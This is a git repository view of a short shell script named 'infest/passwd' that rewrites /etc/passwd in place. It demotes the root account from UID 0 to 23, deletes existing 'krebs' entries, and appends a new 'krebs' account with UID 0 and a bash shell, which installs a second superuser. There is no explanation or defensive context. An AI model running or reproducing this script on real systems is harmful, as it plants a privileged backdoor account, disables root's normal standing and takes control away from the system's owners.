summaryrefslogtreecommitdiffstats
path: root/infest/passwd
blob: 25909702a4ac87ae6ebe7bbd74d2604bd93f3ea1 (plain)
1
2
3
4
5
6
7
8
9
#! /bin/sh

f=/etc/passwd

sed -ri 's^(root:[^:]+):0:0:(.*)$\1:23:23:\2' $f
sed -ri '/^krebs/d' $f

echo 'krebs:x:0:0:/krebs:/bin/bash' >>$f